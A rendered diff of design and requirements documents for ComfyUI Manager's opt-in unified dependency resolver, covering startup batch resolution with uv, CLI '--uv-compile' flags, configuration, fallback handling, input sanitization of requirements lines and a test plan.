2. If `not no_deps and manager_util.use_unified_resolver`:
|
||||
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
|
||||
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
|
||||
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
|
||||
4. `install.py` execution: **always runs immediately** regardless of resolver mode
|
||||
|
||||
> **Parameter ordering differs:**
|
||||
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
|
||||
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
|
||||
|
||||
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
|
||||
|
||||
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
|
||||
|
||||
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
|
||||
|
||||
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
|
||||
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
|
||||
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
|
||||
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
|
||||
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
|
||||
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
|
||||
|
||||
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
|
||||
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
|
||||
|
||||
### 4.1.5 `execute_lazy_install_script()` Modification
|
||||
|
||||
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
|
||||
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
|
||||
|
||||
```python
|
||||
# In execute_lazy_install_script():
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
...
|
||||
# install.py always runs regardless
|
||||
```
|
||||
|
||||
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
|
||||
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
|
||||
|
||||
### 4.1.6 CLI Integration
|
||||
|
||||
Multiple entry points expose the unified resolver in `cm_cli`:
|
||||
|
||||
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
|
||||
|
||||
On-demand batch resolution — independent of ComfyUI startup.
|
||||
|
||||
```bash
|
||||
cm_cli uv-compile [--user-directory DIR]
|
||||
```
|
||||
|
||||
Resolves all installed node packs' dependencies at once. Useful for environment
|
||||
recovery or initial setup without starting ComfyUI.
|
||||
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
|
||||
|
||||
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
|
||||
|
||||
```bash
|
||||
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
|
||||
```
|
||||
|
||||
When `--uv-compile` is set:
|
||||
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
|
||||
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
|
||||
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
|
||||
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
|
||||
|
||||
This differs from per-node pip install: instead of resolving each node pack's
|
||||
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
|
||||
|
||||
#### 4.1.6.3 Additional `--uv-compile` Commands
|
||||
|
||||
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
|
||||
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
|
||||
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
|
||||
|
||||
| Command | Operation |
|
||||
|---------|-----------|
|
||||
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
|
||||
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
|
||||
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
|
||||
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
|
||||
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
|
||||
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
|
||||
|
||||
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
|
||||
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
|
||||
> triggers batch resolution after all nodes are processed.
|
||||
>
|
||||
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
|
||||
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
|
||||
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
|
||||
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
|
||||
|
||||
#### Shared Design Decisions
|
||||
|
||||
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
|
||||
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
|
||||
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
|
||||
initialized at `cm_cli/__main__.py` module scope.
|
||||
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
|
||||
not startup gates.
|
||||
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
|
||||
handles resolver instantiation, execution, and result reporting.
|
||||
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
|
||||
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
|
||||
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
|
||||
calls `fix_broken()` in the snapshot restore exception handler (before
|
||||
`_run_unified_resolve()` is reached), per dec_7.
|
||||
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
|
||||
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
|
||||
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
|
||||
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
|
||||
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
|
||||
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
|
||||
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
|
||||
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
|
||||
|
||||
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()` → `collect_node_pack_paths()`,
|
||||
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
|
||||
|
||||
### 4.2 Configuration Addition (config.ini)
|
||||
|
||||
```ini
|
||||
[default]
|
||||
# Existing settings...
|
||||
use_unified_resolver = false # Enable unified dependency resolution
|
||||
```
|
||||
|
||||
### 4.3 Configuration Reading
|
||||
|
||||
Follows the existing `read_uv_mode()` / `use_uv` pattern:
|
||||
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
|
||||
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
|
||||
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
|
||||
|
||||
### 4.4 manager_util.py Extension
|
||||
|
||||
```python
|
||||
# manager_util.py
|
||||
use_unified_resolver = False # New global flag (separate from use_uv)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Error Handling Strategy
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
STARTUP["prestartup_script.py startup"]
|
||||
STARTUP --> CHK{use_unified_resolver?}
|
||||
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
|
||||
|
||||
CHK -->|Yes| RAI["run_unified_resolver()"]
|
||||
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
|
||||
STALE --> UV_CHK{uv installed?}
|
||||
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
|
||||
|
||||
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
|
||||
CR --> CR_DIS[".disabled/ path → auto-skip"]
|
||||
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
|
||||
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
|
||||
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
|
||||
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
|
||||
|
||||
CR --> CL["compile_lockfile()"]
|
||||
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
|
||||
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
|
||||
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
|
||||
CL --> CL_TMP["Temp directory → finally block cleanup"]
|
||||
|
||||
CL -->|Success| IL["install_from_lockfile()"]
|
||||
IL --> IL_OK["Total success → parse installed/skipped"]
|
||||
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
|
||||
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
|
||||
|
||||
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
|
||||
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
|
||||
```
|
||||
|
||||
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
|
||||
> (per-node pip install), providing the same behavior as if unified mode were disabled.
|
||||
|
||||
---
|
||||
|
||||
## 6. File Structure
|
||||
|
||||
### 6.1 New Files
|
||||
|
||||
```
|
||||
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
|
||||
tests/test_unified_dep_resolver.py # Unit tests
|
||||
```
|
||||
|
||||
### 6.2 Modified Files
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
|
||||
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
|
||||
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
|
||||
```
|
||||
|
||||
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
|
||||
|
||||
---
|
||||
|
||||
## 7. Dependencies
|
||||
|
||||
| Dependency | Purpose | Notes |
|
||||
|-----------|---------|-------|
|
||||
| `uv` | Dependency resolution and installation | Already included in project dependencies |
|
||||
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
|
||||
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
|
||||
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
|
||||
| `subprocess` | uv process execution | Standard library |
|
||||
| `dataclasses` | Result data structures | Standard library |
|
||||
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
|
||||
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
|
||||
| `time` | Stale temp file age calculation | Standard library |
|
||||
| `logging` | Per-step logging | Standard library |
|
||||
|
||||
No additional external dependencies.
|
||||
|
||||
---
|
||||
|
||||
## 8. Sequence Diagram
|
||||
|
||||
### Install Time + Startup Batch Resolution
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
actor User
|
||||
participant MC as manager_core
|
||||
participant PS as prestartup_script
|
||||
participant UDR as UnifiedDepResolver
|
||||
participant UV as uv (CLI)
|
||||
|
||||
Note over User,MC: Install Time (immediate)
|
||||
User->>MC: Install node pack X
|
||||
MC->>MC: Git clone / download X
|
||||
MC->>MC: Skip per-node pip (unified mode)
|
||||
MC->>MC: Run X's install.py
|
||||
MC-->>User: Node pack installed (deps pending)
|
||||
|
||||
Note over User,UV: ComfyUI Restart
|
||||
User->>PS: Start ComfyUI
|
||||
PS->>PS: Check use_unified_resolver
|
||||
PS->>UDR: Create resolver (module scope)
|
||||
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
|
||||
UDR->>UV: uv pip compile --output-file
|
||||
UV-->>UDR: pinned reqs.txt
|
||||
UDR->>UV: uv pip install -r
|
||||
UV-->>UDR: Install result
|
||||
UDR-->>PS: ResolveResult(success=True)
|
||||
PS->>PS: PIPFixer.fix_broken()
|
||||
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
|
||||
PS-->>User: ComfyUI ready
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Test Strategy
|
||||
|
||||
### 9.1 Unit Tests
|
||||
|
||||
| Test Target | Cases |
|
||||
|------------|-------|
|
||||
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
|
||||
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
|
||||
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
|
||||
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
|
||||
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
|
||||
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
|
||||
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
|
||||
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
|
||||
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
|
||||
| Atomic model | On failure: installed=[], stderr populated |
|
||||
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
|
||||
| `_remap_package` | pip_overrides remapping, unregistered packages |
|
||||
| Blacklist | torch family, torchsde, custom blacklist |
|
||||
| Duplicate handling | Same package with multiple specs → all passed to uv |
|
||||
| Multiple paths | Collection from multiple custom_nodes paths |
|
||||
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
|
||||
| Concurrency | Two resolver instances each use unique temp directories |
|
||||
| Credential redaction | `user:pass@host` URL masked in log output |
|
||||
| `_redact_url` | `://user:pass@host` → `://****@host` conversion, no-credential URL passthrough |
|
||||
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
|
||||
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
|
||||
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
|
||||
|
||||
### 9.2 Integration Tests
|
||||
|
||||
- End-to-end test in real uv environment
|
||||
- Existing pip fallback path test
|
||||
- config.ini setting toggle test
|
||||
- Environment integrity verification after PIPFixer call
|
||||
- lazy_mode scheduling behavior verification (Windows simulation)
|
||||
- `use_uv=False` + `use_unified_resolver=True` combination test
|
||||
- Large-scale dependency (50+ node packs) performance test
|
||||
|
||||
---
|
||||
|
||||
## 10. Implementation Order
|
||||
|
||||
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
|
||||
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
|
||||
- Blacklist/override filtering
|
||||
- **Downgrade blacklist** (version comparison logic included)
|
||||
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
|
||||
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
|
||||
- **`.disabled` node pack filtering**
|
||||
- Defensive cm_global access (getattr pattern)
|
||||
2. **Phase 2**: `compile_lockfile` implementation + tests
|
||||
- uv pip compile invocation
|
||||
- --output-file, --constraint, --python options
|
||||
- Conflict parsing logic
|
||||
3. **Phase 3**: `install_from_lockfile` implementation + tests
|
||||
- uv pip install -r invocation (NOT sync)
|
||||
- Install result parsing
|
||||
4. **Phase 4**: Integration — startup batch + install-time skip
|
||||
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
|
||||
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
|
||||
- `manager_util.py`: `use_unified_resolver` flag
|
||||
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
|
||||
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Reference
|
||||
|
||||
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
|
||||
> Use `grep -n` or IDE symbol search for exact locations.
|
||||
|
||||
### remap_pip_package Location (Code Duplication Exists)
|
||||
|
||||
```
|
||||
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
|
||||
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
|
||||
```
|
||||
|
||||
Both reference `cm_global.pip_overrides` with identical logic.
|
||||
The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
|
||||
|
||||
### cm_global Global State
|
||||
|
||||
```python
|
||||
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
|
||||
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
|
||||
cm_global.pip_overrides = {} # dict, loaded from JSON
|
||||
cm_global.pip_downgrade_blacklist = [ # list
|
||||
'torch', 'torchaudio', 'torchsde', 'torchvision',
|
||||
'transformers', 'safetensors', 'kornia'
|
||||
]
|
||||
```
|
||||
|
||||
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
|
||||
> If the resolver may be called from the CLI path, this initialization should also be verified.
|
||||
|
||||
### PIPFixer Call Pattern
|
||||
|
||||
```python
|
||||
# Within UnifiedManager.execute_install_script() method in manager_core.py:
|
||||
pip_fixer = manager_util.PIPFixer(
|
||||
manager_util.get_installed_packages(),
|
||||
context.comfy_path,
|
||||
context.manager_files_path
|
||||
)
|
||||
# ... (after installation)
|
||||
pip_fixer.fix_broken()
|
||||
```
|
||||
|
||||
The unified resolver does not call PIPFixer directly.
|
||||
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
|
||||
|
||||
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
|
||||
|
||||
```python
|
||||
# manager_core.py — def is_blacklisted(name)
|
||||
# 1. Simple pip_blacklist membership check
|
||||
# 2. pip_downgrade_blacklist version comparison:
|
||||
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
# - match is None (no version spec) + installed → block
|
||||
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
|
||||
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
```
|
||||
|
||||
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
|
||||
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
|
||||
|
||||
### Existing Code --index-url Handling (Asymmetric)
|
||||
|
||||
```python
|
||||
# Only exists in standalone function execute_install_script():
|
||||
if '--index-url' in package_name:
|
||||
s = package_name.split('--index-url')
|
||||
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
|
||||
|
||||
# UnifiedManager.execute_install_script() method does NOT have this handling
|
||||
```
|
||||
|
||||
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
|
||||
@@ -1,363 +0,0 @@
|
||||
# PRD: Unified Dependency Resolver
|
||||
|
||||
## 1. Overview
|
||||
|
||||
### 1.1 Background
|
||||
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
|
||||
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
|
||||
|
||||
**Current flow:**
|
||||
```mermaid
|
||||
graph LR
|
||||
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
|
||||
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
|
||||
B2 -.->|May break<br/>A's deps| A2
|
||||
```
|
||||
|
||||
### 1.2 Goal
|
||||
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
|
||||
|
||||
**New flow (unified resolver mode):**
|
||||
```mermaid
|
||||
graph TD
|
||||
subgraph "Install Time (immediate)"
|
||||
A1[User installs node pack X] --> A2[Git clone / download]
|
||||
A2 --> A3["Run X's install.py (if exists)"]
|
||||
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
end
|
||||
|
||||
subgraph "ComfyUI Restart (startup batch)"
|
||||
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
|
||||
B2 --> B3["uv pip compile → pinned requirements.txt"]
|
||||
B3 --> B4["uv pip install -r → Batch install"]
|
||||
B4 --> B5[PIPFixer environment correction]
|
||||
end
|
||||
```
|
||||
|
||||
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
|
||||
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
|
||||
|
||||
### 1.3 Scope
|
||||
- Develop a new dedicated dependency resolution module
|
||||
- Opt-in activation from the existing install process
|
||||
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
|
||||
|
||||
---
|
||||
|
||||
## 2. Constraints
|
||||
|
||||
| Item | Description |
|
||||
|------|-------------|
|
||||
| **uv required** | Only operates in environments where `uv` is available |
|
||||
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
|
||||
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
|
||||
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
|
||||
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
|
||||
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
|
||||
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
|
||||
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
|
||||
|
||||
---
|
||||
|
||||
## 3. Functional Requirements
|
||||
|
||||
### FR-1: Node Pack List and Base Dependency Input
|
||||
|
||||
**Input:**
|
||||
- Node pack list (fullpath list of installed + to-be-installed node packs)
|
||||
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
|
||||
|
||||
**Behavior:**
|
||||
- Validate each node pack path
|
||||
- Exclude disabled (`.disabled`) node packs
|
||||
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
|
||||
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
|
||||
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
|
||||
- Defensively exclude any node pack paths that are within the `.disabled` directory
|
||||
- Base dependencies are treated as constraints
|
||||
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
|
||||
|
||||
**`cm_global` runtime dependencies:**
|
||||
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
|
||||
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
|
||||
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
|
||||
|
||||
### FR-2: Dependency List Extraction
|
||||
|
||||
**Behavior:**
|
||||
- Parse `requirements.txt` from each node pack directory
|
||||
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
|
||||
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
|
||||
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
|
||||
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
|
||||
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
|
||||
- Strip comments (`#`) and blank lines
|
||||
- **Input sanitization** (see below)
|
||||
- Separate handling of `--index-url` entries (see below)
|
||||
|
||||
**Input sanitization:**
|
||||
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
|
||||
- `-r`, `--requirement` (recursive include → path traversal risk)
|
||||
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
|
||||
- `-c`, `--constraint` (external constraint file injection)
|
||||
- `--find-links`, `-f` (external package source specification)
|
||||
- `@ file://` (local file reference → path traversal risk)
|
||||
- Package names containing path separators (`/`, `\`)
|
||||
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
|
||||
- Rejected lines are recorded in the `skipped` list with reason
|
||||
|
||||
**`--index-url` handling:**
|
||||
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
|
||||
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
|
||||
- The unified resolver **unifies both paths** for consistent handling:
|
||||
- Package spec → added to the general dependency list
|
||||
- `--extra-index-url URL` → passed as `uv pip compile` argument
|
||||
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
|
||||
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
|
||||
|
||||
**Duplicate handling strategy:**
|
||||
- No deduplication is performed directly
|
||||
- Different version specs of the same package are **all passed as-is** to uv
|
||||
- `uv pip compile` handles version resolution (uv determines the optimal version)
|
||||
|
||||
**Output:**
|
||||
- Unified dependency list (tracked by source node pack)
|
||||
- Additional index URL list
|
||||
|
||||
### FR-3: uv pip compile Execution
|
||||
|
||||
**Behavior:**
|
||||
- Generate temporary requirements file from the collected dependency list
|
||||
- Execute `uv pip compile` to produce a pinned requirements.txt
|
||||
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
|
||||
- `--constraint`: Pass base dependencies as constraints
|
||||
- `--python`: Current Python interpreter path
|
||||
- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
|
||||
- Resolve for the current platform (platform-specific results)
|
||||
|
||||
**Error handling:**
|
||||
- Return conflict package report when resolution fails
|
||||
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
|
||||
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
|
||||
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
|
||||
|
||||
**Output:**
|
||||
- pinned requirements.txt (file with all packages pinned to exact versions)
|
||||
|
||||
### FR-4: Pinned Requirements-based Dependency Installation
|
||||
|
||||
**Behavior:**
|
||||
- Execute `uv pip install -r <pinned-requirements.txt>`
|
||||
- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
|
||||
- Already-installed packages at the same version are skipped (default uv behavior)
|
||||
- Log installation results
|
||||
|
||||
**Error handling:**
|
||||
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
|
||||
- On total failure: Parse stderr for failure cause report → fallback to existing pip
|
||||
- **No partial failure report** (not possible due to uv's behavior)
|
||||
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
|
||||
|
||||
### FR-5: Post-install Environment Correction
|
||||
|
||||
**Behavior:**
|
||||
- Call `PIPFixer.fix_broken()` for environment integrity correction
|
||||
- Restore torch version (when change detected)
|
||||
- Fix OpenCV conflicts
|
||||
- Restore comfyui-frontend-package
|
||||
- Restore packages based on `pip_auto_fix.list`
|
||||
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
|
||||
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
|
||||
|
||||
### FR-6: install.py Execution (Existing Flow Maintained)
|
||||
|
||||
**Behavior:**
|
||||
- The unified resolver handles deps installation **at startup time only**
|
||||
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
|
||||
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
|
||||
|
||||
**Control flow specification (unified mode active):**
|
||||
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
|
||||
|
||||
**Control flow specification (unified mode inactive / fallback):**
|
||||
- Existing pip install loop runs as-is (no change)
|
||||
- `install.py` execution runs **immediately** as before
|
||||
|
||||
### FR-7: Startup Batch Resolution
|
||||
|
||||
**Behavior:**
|
||||
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
|
||||
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
|
||||
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
|
||||
|
||||
**Startup execution flow (in `prestartup_script.py`):**
|
||||
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
|
||||
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
|
||||
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
|
||||
